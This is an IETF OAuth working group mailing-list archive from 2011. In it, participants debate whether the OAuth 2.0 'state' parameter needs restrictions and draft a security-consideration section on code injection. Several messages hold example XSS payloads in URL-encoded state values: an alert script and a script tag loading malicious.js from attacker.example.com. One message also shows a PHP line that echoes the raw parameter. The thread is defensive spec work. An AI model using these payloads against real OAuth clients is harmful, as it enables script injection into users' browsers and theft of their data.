>= demos): Refused to execute a JavaScript script. Source code of script foun= d
> within request. Other browsers won't. Real attackers are more cre= ative than
> me.
>
> -Bob
>
>
>
>=
>
> On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
>= <eran@hueniverse.com> wro= te:
> > Can you provide examples of bad values and how they make t= he
> implementation less secure? What's the attack vector here?
&g= t; >
> > EHL
> >
> >> -----Original Messag= e-----
> >> From: bigba= dbob0@gmail.com [mailto:bigbadb= ob0@gmail.com] On Behalf
> Of
> >> Bob Van Zant
&g= t; >> Sent: Wednesday, July 20, 2011 9:10 AM
> >> To: Bre= no; Eran Hammer-Lahav
> >> Cc: OAuth WG
> >> Subjec= t: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
>= ; >>
> >> I think somewhere in here my original comments = got lost. The spec, as
> >> written, provides no limitations on= what can go in the state variable.
> >> If we don't define tho= se limitations in the spec implementors are
> >> going to defin= e their own limitations (I'm on the verge of doing it myself).
> >= >
> >> I propose that the state variable be limited to the s= et of characters
> >> [a-zA-Z0- 9_-] and be restricted to a max= imum length of 150 characters.
> >> It's simple, doesn't requir= e URL encoding, and will be hard for a
> >> client application = to turn into a vulnerability. It provides plenty
> >> of unique= ness (it can fit a sha512) for even the largest and most used
> clien= t applications.
> >>
> >> -Bob
> >>
= > >>
> >> On Wed, Jul 20, 2011 at 8:24 AM, Breno <<= a href=3D"mailto:breno.demedeiros@gmail.com">breno.demedeiros@gmail.com= >
> >> wrote:
> >> >
> >> >> >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
= > >> > <eran@hueniver= se.com>
> >> > wrote:
> >> >>
&g= t; >> >>
> >> >> > -----Original Message--= ---
> >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On
> >> >> > Beh= alf Of Eliot Lear
> >> >> > Sent: Sunday, July 17, 201= 1 2:49 AM
> >> >>
> >> >> > One othe= r point: if the redirection_uri can have fragments and
> >> >= ;> > can be provided, why is state necessary?
> >> >&g= t;
> >> >> First, I assume you mean query instead of frag= ment.
> >> >>
> >> >> This was discusse= d on the list about a year ago. There isn't a
> >> >> req= uirement to support both dynamic redirection URIs as well as a
> >= > >> special state parameter. However, the state parameter provide= s a
> >> >> better way to allow customization of the redi= rection request
> >> >> alongside full registration of th= e redirection URI. Section 3.1.2
> >> >> recommends using= the state parameter over changing the redirection
> >> >>= ; URI
> >> itself.
> >> >>
> >> &= gt;> Using state is much simpler because the authorization server does> >> >> not have to implement potentially insecure URI com= parison
> >> >> algorithms for dynamic redirection URIs.<= br>> >> >
> >> > Agree -- for instance, Google's= provider doesn't allow arbitrary
> >> > dynamic specificati= on of query or fragment parameters in redirect
> >> > URIs, = for instance, due largely to security considerations.
> >> >=
> >> >>
> >> >> EHL
> >> &= gt;> _______________________________________________
> >> &g= t;> OAuth mailing list
> >> >> OAuth@ietf.org
> >> >> https://www.ietf.org= /mailman/listinfo/oauth
> >> >
> >> >
= > >> >
> >> > --
> >> > Breno de = Medeiros
> >> >
> >> >
> >
______= _________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailma= n/listinfo/oauth

<= br>

--
---------------------------------------------= ---------------------
Never send sensitive or private information via em= ail unless it is encrypted. http://www.gnu= pg.org

= --_000_90C41DD21FB7C64BB94121FBBC2E72345020652D1EP3PW5EX1MB01E_-- From aiden449@gmail.com Wed Jul 20 12:04:33 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4762121F8453 for ; Wed, 20 Jul 2011 12:04:33 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.306 X-Spam-Level: X-Spam-Status: No, score=-2.306 tagged_above=-999 required=5 tests=[AWL=-0.843, BAYES_00=-2.599, FRT_STRONG2=1.535, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id v5SWiZZbSR23 for ; Wed, 20 Jul 2011 12:04:31 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id 1DA5221F8B7A for ; Wed, 20 Jul 2011 12:04:03 -0700 (PDT) Received: by qwc23 with SMTP id 23so431055qwc.31 for ; Wed, 20 Jul 2011 12:04:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=zIriMuEn5LqKg/+vx1GRGaVUoPIJU9fC86C/Y3vTj34=; b=dh1TT2aPemrEG3kfEJnKc/EVxMpF9stJ2nYOx49Y2uk4vXkwKeYmqd5GQ4k6YK8CGU P1/RzVAyJ2J46kegPJR8HNgY6bik9enZZuBBUV2bNdryGQ083xAur8bv/8YQa5mJVgrg aP2yjSsUTc8mKr5erT2PFIb9zm4rMGOF4r0OE= MIME-Version: 1.0 Received: by 10.229.198.233 with SMTP id ep41mr7262930qcb.199.1311188642517; Wed, 20 Jul 2011 12:04:02 -0700 (PDT) Received: by 10.229.14.42 with HTTP; Wed, 20 Jul 2011 12:04:02 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E72345020652D1E@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E22B021.7080009@cisco.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0656@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CA4@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652CE2@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E72345020652D1E@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 20:04:02 +0100 Message-ID: From: Aiden Bell To: OAuth WG Content-Type: multipart/alternative; boundary=001636d33ba745533504a884e5f8 Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 19:04:33 -0000 --001636d33ba745533504a884e5f8 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable See below for revision, tried to follow the "introduction, recommendation, example" structure in 10.12 "Cross-site Request Forgery" and shorten my text. I'm strugging to make it clear that any internal modification to the 'state= ' parameter must not affect the re-transmitted value of 'state' in Authorization Response / Error Response when it originates from the authorisation server. --- Security Consideration: Code Injection Attacks Code injection attacks are when an input or otherwise external variable is used within an application where that input can cause modification of application logic when unsanitised. This may allow an attacker to gain access to client or user data, cause Denial of Service or a wide range of malicious side-effects. Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code injection. Both client and server SHOULD ensure that the "state" parameter described in section 4.1.2 is correctly sanitised for internal processing, storage or output outside the scope of the OAuth protocol. Failure to correctly sanitise the 'state' parameter can cause code injectio= n attacks even if a cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is used. As an example, a malicious person may create a fake Error Response as described in section 4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to the client: https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20typ= e%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2F= malicious.js%22%20%2F%3E Insecure transfer of the decoded value into the HTML buffer of the client application may result in the injection of code into the user agent of the end user, possibly compromising data. This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML syntax before interpolation of the value into server output to the user agent. --end-- On 20 July 2011 19:40, Eran Hammer-Lahav wrote: > Take a look at how the other sections in the draft setup the premise firs= t > and give a quick explanation of the attack=85**** > > ** ** > > EHL**** > > ** ** > > *From:* Aiden Bell [mailto:aiden449@gmail.com] > *Sent:* Wednesday, July 20, 2011 11:38 AM > *To:* Eran Hammer-Lahav; OAuth WG > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > ** ** > > Been following this discussion > > I'll propose some text, though it seems to me it is getting into the real= m > of "Don't trust inputs" > > It is also worth noting that signing the request using something like the > HMAC extension elevates any > problems where you DO need to evaluate the state parameter in some way > where the evaluation process > is too complex to secure (DSLs and languages in state, which is really ug= ly > but, someone may do it). > > Really though, just seems like general application security advice rather > than OAuth specific > > Security Consideration: Code Injection Attacks > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. > > Both client and server SHOULD ensure that the "state" parameter described > in section 4.1.2 is correctly validated, escaped or sanitised prior to > processing for their application's > requirements. Modifications, for security or otherwise to the 'state' > variable contained in the Authorization Request by the > authorization server will not be transmitted to the client in the > Authorization Response or Error Response > as the response 'state' value MUST be identical to the value in the > request. > > If the 'state' parameter passed between client and server contains a valu= e > which is interpreted or > otherwise placed into a context that requires evaluation of the unmodifie= d > value then a cryptographic > scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be use= d > to verify request authenticity. > It should be noted however than a cryptographically authentic request may > still contain malicious > code if the client or server integrity can not be established and trusted= . > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=3Daccess_denied&state=3D%3Cscript%20t= ype%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%= 2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter = to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end-- > > Not claiming it is good, well written or concise ... but it is proposed. > Even if it is rejected, feedback > would be appreciated. > > Thanks, > Aiden > > **** > > On 20 July 2011 18:36, Eran Hammer-Lahav wrote:**** > > I think most of your description isn't very relevant to this particular > attack. I'll skip to the part where the legitimate client gets a maliciou= sly > modified state parameter value. > > Your concern seems to be a simple code injection attack (e.g. that some > clients will not properly protect their code from invalid state values). = For > example, a client may use state to pass a JSON string and when it receive= s > it back, calls eval() on the raw state value or even JSON.parse without > catching exceptions. > > The right way to address this is to add a new security consideration > section discussion the various Injection Attacks possible. Using state to > include malicious code is one. Another is code injection in the redirect_= uri > by a malicious client to an authorization server supporting dynamic > redirection URIs. > > Then of course, there really is no need for any elaborate setup for anyon= e > to send requests to the client redirection URI endpoint directly (without > following any of the flow). In such a case, the enforcement of safe state > values by the authorization server will accomplish nothing if the client > doesn't perform its own validation (and we're back to square one). In oth= er > words, I can call any endpoint on the client with any malicious parameter= s > and try to break it. > > But even if you perform input validation on the client side, which should > prevent a code injection attack, you are still open to other malicious > manipulation of the state parameter. For example, a na=EFve client can us= e the > state parameter to pass a user id so that when the redirection callback i= s > called, it can link the access token to that account. That of course, wou= ld > be a very bad thing (tm) without some protection (e.g. state cookie) whic= h > the client can use to validate the state value. > > In short, over specification does not solve ignorance. We can and should > highlight the possible code injection attacks on both the client and > authorization server, as well as other security concerns around the state > parameter. But at the end, it is up to both the client and authorization > server developers to build secure applications. > > So, anyone volunteering to propose text?**** > > > EHL > > > > -----Original Message----- > > From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf Of > > Bob Van Zant**** > > > Sent: Wednesday, July 20, 2011 9:29 AM > > To: Eran Hammer-Lahav > > Cc: Breno; OAuth WG**** > > > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > The problem lies in the inherent trust of the state parameter. The naiv= e > > client application developer assumes that state goes out to the > authorization > > server and comes back unchanged; because that's what the spec says will > > happen. > > > > As a malicious person I use the client application and steal the client > id when > > I'm redirected to the authorization server. > > > > I then craft my own authorization URL pretending to act on behalf of th= e > > client application. > > > > http://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type= =3D > > code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > > > I send that out to unsuspecting people. Those people are sent to my sit= e; > > maybe they trust it. The site is asking them to authorize an applicatio= n > they > > perhaps they're familiar with. So they do. > > > > Now the assumption, and it's really not much of a leap of faith, is tha= t > some > > client developer is going to take that state variable and put it direct= ly > into > > their site. In PHP it could be something silly > > like: > > > > Thanks for authorizing our app, $_GET["state"]. > > > > Chrome protects me from this basic attack (I just inserted it into one = of > my > > demos): Refused to execute a JavaScript script. Source code of script > found > > within request. Other browsers won't. Real attackers are more creative > than > > me. > > > > -Bob > > > > > > > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > wrote: > > > Can you provide examples of bad values and how they make the > > implementation less secure? What's the attack vector here? > > > > > > EHL > > > > > >> -----Original Message----- > > >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf > > Of > > >> Bob Van Zant > > >> Sent: Wednesday, July 20, 2011 9:10 AM > > >> To: Breno; Eran Hammer-Lahav > > >> Cc: OAuth WG > > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > >> > > >> I think somewhere in here my original comments got lost. The spec, a= s > > >> written, provides no limitations on what can go in the state variabl= e. > > >> If we don't define those limitations in the spec implementors are > > >> going to define their own limitations (I'm on the verge of doing it > myself). > > >> > > >> I propose that the state variable be limited to the set of character= s > > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 > characters. > > >> It's simple, doesn't require URL encoding, and will be hard for a > > >> client application to turn into a vulnerability. It provides plenty > > >> of uniqueness (it can fit a sha512) for even the largest and most us= ed > > client applications. > > >> > > >> -Bob > > >> > > >> > > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno > > >> wrote: > > >> > > > >> > > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > >> > > > >> > wrote: > > >> >> > > >> >> > > >> >> > -----Original Message----- > > >> >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On > > >> >> > Behalf Of Eliot Lear > > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > > >> >> > > >> >> > One other point: if the redirection_uri can have fragments and > > >> >> > can be provided, why is state necessary? > > >> >> > > >> >> First, I assume you mean query instead of fragment. > > >> >> > > >> >> This was discussed on the list about a year ago. There isn't a > > >> >> requirement to support both dynamic redirection URIs as well as a > > >> >> special state parameter. However, the state parameter provides a > > >> >> better way to allow customization of the redirection request > > >> >> alongside full registration of the redirection URI. Section 3.1.2 > > >> >> recommends using the state parameter over changing the redirectio= n > > >> >> URI > > >> itself. > > >> >> > > >> >> Using state is much simpler because the authorization server does > > >> >> not have to implement potentially insecure URI comparison > > >> >> algorithms for dynamic redirection URIs. > > >> > > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > > >> > dynamic specification of query or fragment parameters in redirect > > >> > URIs, for instance, due largely to security considerations. > > >> > > > >> >> > > >> >> EHL > > >> >> _______________________________________________ > > >> >> OAuth mailing list > > >> >> OAuth@ietf.org > > >> >> https://www.ietf.org/mailman/listinfo/oauth > > >> > > > >> > > > >> > > > >> > -- > > >> > Breno de Medeiros > > >> > > > >> > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > --=20 ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org --001636d33ba745533504a884e5f8 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable See below for revision, tried to follow the "introduction, recommendat= ion, example"
structure in 10.12 "Cross-site Request Forgery&q= uot; and shorten my text.

I'm strugging to make it clear that an= y internal modification to the 'state' parameter
must not affect the re-transmitted value of 'state' in Authorizatio= n Response / Error
Response when it originates from the authorisation se= rver.

---

Security Consideration: Code Injectio= n Attacks

Code injection attacks are when an input or otherwise external variable is = used within
an application where that input can cause modification of ap= plication logic
when unsanitised. This may allow an attacker to gain acc= ess to client or user data,
cause Denial of Service or a wide range of malicious side-effects.


Incorrect validation or sanitation of the 'state' = parameter from section 4.1.2 could lead to code
injection. Both client a= nd server SHOULD ensure that the "state" parameter described
in section 4.1.2 is correctly sanitised for internal processing, storage or= output outside the
scope of the OAuth protocol.

Failure to corr= ectly sanitise the 'state' parameter can cause code injection attac= ks even if a
cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is = used.

As an example, a malicious person may create a fake Error Resp= onse as described in section
4.1.2.1 containing a maliciously crafted st= ate parameter. The following request would be sent to
the client:

=A0https://client.example.com/cb?error=3Daccess_denied&state=3D%3Csc= ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam= ple.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the clie= nt application
may result in the injection of code into the user agent o= f the end user, possibly compromising data.
This example attack can be = mitigated by sanitising the 'state' parameter to remove or escape H= TML
syntax before interpolation of the value into server output to the user age= nt.

--end--

On 20 July 2011 19:40,= Eran Hammer-Lahav <eran@hueniverse.com> wrote:

Take a look at how the o= ther sections in the draft setup the premise first and give a quick explana= tion of the attack=85

=A0

EHL

=A0

From: Aiden Bell [mailto:<= a href=3D"mailto:aiden449@gmail.com" target=3D"_blank">aiden449@gmail.com]
Sent: Wednesday, July 20, 2011 11:38 AM
To: Eran Hammer-La= hav; OAuth WG


Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter=

=A0

Been following this discussion

I'll propose some text, th= ough it seems to me it is getting into the realm of "Don't trust i= nputs"

It is also worth noting that signing the request using something like t= he HMAC extension elevates any
problems where you DO need to evaluate th= e state parameter in some way where the evaluation process
is too comple= x to secure (DSLs and languages in state, which is really ugly but, someone= may do it).

Really though, just seems like general application security advice rath= er than OAuth specific

Security Consideration: Code Injection Attack= s

Incorrect validation or sanitation of the 'state' paramete= r from section 4.1.2 could lead to code
injection.

Both client and server SHOULD ensure that the "state= " parameter described
in section 4.1.2 is correctly validated, esca= ped or sanitised prior to processing for their application's
require= ments. Modifications, for security or otherwise to the 'state' vari= able contained in the Authorization Request by the
authorization server will not be transmitted to the client in the Authoriza= tion Response or Error Response
as the response 'state' value MU= ST be identical to the value in the request.

If the 'state' = parameter passed between client and server contains a value which is interp= reted or
otherwise placed into a context that requires evaluation of the unmodified = value then a cryptographic
scheme such as that defined in [I-D.ietf-oaut= h-v2-http-mac] should be used to verify request authenticity.
It should = be noted however than a cryptographically authentic request may still conta= in malicious
code if the client or server integrity can not be established and trusted.<= br>
As an example, a malicious person may create a fake Error Response a= s described in section
4.1.2.1 containing a maliciously crafted state pa= rameter. The following request would be sent to
the client:

=A0https://client.example.com/cb?error=3Daccess_denied&state=3D%3Csc= ript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.exam= ple.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the clie= nt application
may result in the injection of code into the user agent o= f the end user, possibly compromising data.
This example attack can be = mitigated by sanitising the 'state' parameter to remove or escape H= TML
syntax before interpolation of the value into server output to the user age= nt.

--end--

Not claiming it is good, well written or concise = ... but it is proposed. Even if it is rejected, feedback
would be apprec= iated.

Thanks,
Aiden

O= n 20 July 2011 18:36, Eran Hammer-Lahav <eran@hueniverse.com> wrote:<= /p>

I think most of your description isn't very rele= vant to this particular attack. I'll skip to the part where the legitim= ate client gets a maliciously modified state parameter value.

Your c= oncern seems to be a simple code injection attack (e.g. that some clients w= ill not properly protect their code from invalid state values). For example= , a client may use state to pass a JSON string and when it receives it back= , calls eval() on the raw state value or even JSON.parse without catching e= xceptions.

The right way to address this is to add a new security consideration se= ction discussion the various Injection Attacks possible. Using state to inc= lude malicious code is one. Another is code injection in the redirect_uri b= y a malicious client to an authorization server supporting dynamic redirect= ion URIs.

Then of course, there really is no need for any elaborate setup for any= one to send requests to the client redirection URI endpoint directly (witho= ut following any of the flow). In such a case, the enforcement of safe stat= e values by the authorization server will accomplish nothing if the client = doesn't perform its own validation (and we're back to square one). = In other words, I can call any endpoint on the client with any malicious pa= rameters and try to break it.

But even if you perform input validation on the client side, which shou= ld prevent a code injection attack, you are still open to other malicious m= anipulation of the state parameter. For example, a na=EFve client can use t= he state parameter to pass a user id so that when the redirection callback = is called, it can link the access token to that account. That of course, wo= uld be a very bad thing (tm) without some protection (e.g. state cookie) wh= ich the client can use to validate the state value.

In short, over specification does not solve ignorance. We can and shoul= d highlight the possible code injection attacks on both the client and auth= orization server, as well as other security concerns around the state param= eter. But at the end, it is up to both the client and authorization server = developers to build secure applications.

So, anyone volunteering to propose text?


EHL


> -----Original Message-----
> F= rom: bigbadbob0@g= mail.com [mailto:bigbadbob0@gmail.com] On Behalf Of
> Bob Van Zant

> Sent: = Wednesday, July 20, 2011 9:29 AM
> To: Eran Hammer-Lahav
> Cc: = Breno; OAuth WG

> Subj= ect: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
>
> The problem lies in the inherent trust of the state parameter.= The naive
> client application developer assumes that state goes out= to the authorization
> server and comes back unchanged; because that= 's what the spec says will
> happen.
>
> As a malicious person I use the client applica= tion and steal the client id when
> I'm redirected to the authori= zation server.
>
> I then craft my own authorization URL preten= ding to act on behalf of the
> client application.
>
> ht= tp://example.com/oauth/authorize?client_id=3Ddeadbeef&response_type=3D<= /a>
> code&state=3D%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscrip= t%3E
>
> I send that out to unsuspecting people. Those people are sent = to my site;
> maybe they trust it. The site is asking them to authori= ze an application they
> perhaps they're familiar with. So they d= o.
>
> Now the assumption, and it's really not much of a leap of = faith, is that some
> client developer is going to take that state va= riable and put it directly into
> their site. In PHP it could be some= thing silly
> like:
>
> =A0 =A0 Thanks for authorizing our app, $_GET[&q= uot;state"].
>
> Chrome protects me from this basic attack= (I just inserted it into one of my
> demos): Refused to execute a Ja= vaScript script. Source code of script found
> within request. Other browsers won't. Real attackers are more crea= tive than
> me.
>
> -Bob
>
>
>
><= br>>
> On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> = <eran@huenivers= e.com> wrote:
> > Can you provide examples of bad values and how they make the
&= gt; implementation less secure? What's the attack vector here?
> = >
> > EHL
> >
> >> -----Original Message--= ---
> >> From: bigbadbob0@gmail.com [mailto:bigbadbob0@gmail.com] On Behalf
> Of
> &= gt;> Bob Van Zant
> >> Sent: Wednesday, July 20, 2011 9:10 AM
> >> To: B= reno; Eran Hammer-Lahav
> >> Cc: OAuth WG
> >> Subj= ect: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> >>
> >> I think somewhere in here my original commen= ts got lost. The spec, as
> >> written, provides no limitations= on what can go in the state variable.
> >> If we don't def= ine those limitations in the spec implementors are
> >> going to define their own limitations (I'm on the verge o= f doing it myself).
> >>
> >> I propose that the st= ate variable be limited to the set of characters
> >> [a-zA-Z0-= 9_-] and be restricted to a maximum length of 150 characters.
> >> It's simple, doesn't require URL encoding, and will b= e hard for a
> >> client application to turn into a vulnerabili= ty. It provides plenty
> >> of uniqueness (it can fit a sha512)= for even the largest and most used
> client applications.
> >>
> >> -Bob
> &g= t;>
> >>
> >> On Wed, Jul 20, 2011 at 8:24 AM, B= reno <br= eno.demedeiros@gmail.com>
> >> wrote:
> >> >
> >> >
> &g= t;> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> >= ;> > <era= n@hueniverse.com>
> >> > wrote:
> >> >>
> >> >&g= t;
> >> >> > -----Original Message-----
> >&g= t; >> > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On
> >> >> > Behalf Of Eliot Lear
> >> >> = > Sent: Sunday, July 17, 2011 2:49 AM
> >> >>
> = >> >> > One other point: if the redirection_uri can have fra= gments and
> >> >> > can be provided, why is state necessary?
>= ; >> >>
> >> >> First, I assume you mean quer= y instead of fragment.
> >> >>
> >> >> = This was discussed on the list about a year ago. There isn't a
> >> >> requirement to support both dynamic redirection URIs= as well as a
> >> >> special state parameter. However, t= he state parameter provides a
> >> >> better way to allow= customization of the redirection request
> >> >> alongside full registration of the redirection URI. = Section 3.1.2
> >> >> recommends using the state paramete= r over changing the redirection
> >> >> URI
> >&= gt; itself.
> >> >>
> >> >> Using state is much simple= r because the authorization server does
> >> >> not have = to implement potentially insecure URI comparison
> >> >> = algorithms for dynamic redirection URIs.
> >> >
> >> > Agree -- for instance, Google'= s provider doesn't allow arbitrary
> >> > dynamic specif= ication of query or fragment parameters in redirect
> >> > U= RIs, for instance, due largely to security considerations.
> >> >
> >> >>
> >> >> EHL<= br>> >> >> _______________________________________________> >> >> OAuth mailing list
> >> >> OAuth@ietf.org
> >> >> https://www.ietf.org/mailman/listinfo/oauth
&g= t; >> >
> >> >
> >> >
> >&g= t; > --
> >> > Breno de Medeiros
> >> >
> >>= >
> >
_______________________________________________
OA= uth mailing list
OAu= th@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth




--
------------= ------------------------------------------------------
Never send sensitive or private information via email unless it is encrypte= d. http://www.gnupg.org<= /a>


<= br clear=3D"all">
--
----------------------------------------------------------------= --
Never send sensitive or private information via email unless it is en= crypted. http://www.gnupg.org
--001636d33ba745533504a884e5f8-- From torsten@lodderstedt.net Wed Jul 20 13:24:51 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E236021F8A71 for ; Wed, 20 Jul 2011 13:24:51 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -0.973 X-Spam-Level: X-Spam-Status: No, score=-0.973 tagged_above=-999 required=5 tests=[AWL=-1.125, BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, J_CHICKENPOX_48=0.6, J_CHICKENPOX_54=0.6, J_CHICKENPOX_57=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6JQqu7YIuXNX for ; Wed, 20 Jul 2011 13:24:50 -0700 (PDT) Received: from smtprelay03.ispgateway.de (smtprelay03.ispgateway.de [80.67.29.28]) by ietfa.amsl.com (Postfix) with ESMTP id DC3C721F8922 for ; Wed, 20 Jul 2011 13:24:49 -0700 (PDT) Received: from [79.253.8.100] (helo=[192.168.71.35]) by smtprelay03.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QjdK3-0004JN-In; Wed, 20 Jul 2011 22:24:47 +0200 Message-ID: <4E273990.20001@lodderstedt.net> Date: Wed, 20 Jul 2011 22:24:48 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <4E1F6AAD24975D4BA5B168042967394348D4BAD0@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0238@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D4BCC4@TK5EX14MBXC201.redmond.corp.microsoft.com> <90C41DD21FB7C64BB94121FBBC2E7234501D6E024B@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E024B@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: multipart/alternative; boundary="------------080804010706020801090508" X-Df-Sender: torsten@lodderstedt-online.de Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Issue 18: defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 20:24:52 -0000 This is a multi-part message in MIME format. --------------080804010706020801090508 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit So far response type values are just strings one need to compare literally. What use case justifies the more complex proposal? regards, Torsten. Am 15.07.2011 19:44, schrieb Eran Hammer-Lahav: > > I was only arguing against the proposed text which doesn't accomplish > what you want from a normative perspective. I can easily address the > use case with very short prose but I would like to see more working > group discussion about it first. > > Seems like WG members representing three large OAuth implementations > (Facebook, Google, Microsoft) are very supportive. Does anyone objects > to making the change to allow space-delimited values in the > response_type parameter? Once we get consensus on that, I can proceed > to offer a proposal. The main difficulty is how to deal with errors. > > EHL > > *From:*Mike Jones [mailto:Michael.Jones@microsoft.com] > *Sent:* Friday, July 15, 2011 10:16 AM > *To:* Eran Hammer-Lahav; oauth@ietf.org > *Subject:* RE: Issue 18: defining new response types > > Yes, that's the intent of the change > > *From:*Eran Hammer-Lahav [mailto:eran@hueniverse.com] > > *Sent:* Friday, July 15, 2011 10:14 AM > *To:* Mike Jones; oauth@ietf.org > *Subject:* RE: Issue 18: defining new response types > > You can't have it both way. Either it is a simple string comparison or > it requires parsing of the string. The current prose is designed to > offer a visual cue without making any code changes to how response > types are compared. To allow different orders, we have to turn the > value to a parsed list. > > EHL > > *From:*oauth-bounces@ietf.org > [mailto:oauth-bounces@ietf.org] > *On Behalf Of *Mike Jones > *Sent:* Friday, July 15, 2011 10:02 AM > *To:* 